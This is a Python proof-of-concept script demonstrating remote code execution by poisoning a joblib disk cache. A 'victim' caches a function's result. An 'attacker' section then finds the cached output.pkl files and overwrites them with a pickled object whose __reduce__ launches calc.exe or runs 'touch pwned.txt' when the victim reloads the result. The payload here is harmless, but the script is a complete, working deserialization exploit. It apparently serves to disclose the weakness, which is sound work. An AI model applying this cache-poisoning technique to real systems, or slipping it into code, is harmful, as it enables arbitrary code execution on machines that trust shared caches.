| import os
|
| import glob
|
| import joblib
|
| import subprocess
|
| import platform
|
| from joblib import Memory
|
|
|
|
|
| CACHE_DIR = "persistent_ml_cache"
|
| mem = Memory(CACHE_DIR, verbose=0)
|
|
|
| @mem.cache
|
| def get_sensitive_data(query_id):
|
| """A normal function that a researcher might use."""
|
| print(f"[*] Processing query: {query_id}")
|
| return {"status": "secure", "data": "top-secret-info"}
|
|
|
|
|
| print("[Victim] Initializing secure process...")
|
| get_sensitive_data(101)
|
| print("[Victim] Process complete. Result cached.\n")
|
|
|
|
|
|
|
|
|
| print("[Attacker] Searching for Joblib cache files to poison...")
|
|
|
|
|
| pattern = os.path.join(CACHE_DIR, "joblib", "**", "get_sensitive_data", "**", "output.pkl")
|
| cache_files = glob.glob(pattern, recursive=True)
|
|
|
| class ExploitPayload:
|
| def __reduce__(self):
|
|
|
| if platform.system() == "Windows":
|
| command = ['calc.exe']
|
| else:
|
|
|
| command = ['touch', 'pwned.txt']
|
| return (subprocess.Popen, (command,))
|
|
|
| if cache_files:
|
| for target in cache_files:
|
| print(f"[Attacker] Found target: {target}")
|
| joblib.dump(ExploitPayload(), target)
|
| print("[Attacker] Cache poisoned successfully!\n")
|
| else:
|
| print("[Attacker] Error: No cache files found. Run Step 2 first.\n")
|
|
|
|
|
|
|
|
|
| print("[Victim] Running the same process again...")
|
|
|
| result = get_sensitive_data(101)
|
|
|
| print("[Victim] Received result:", result)
|
| print("[*] RCE Confirmed! (Calculator opened or 'pwned.txt' created)") |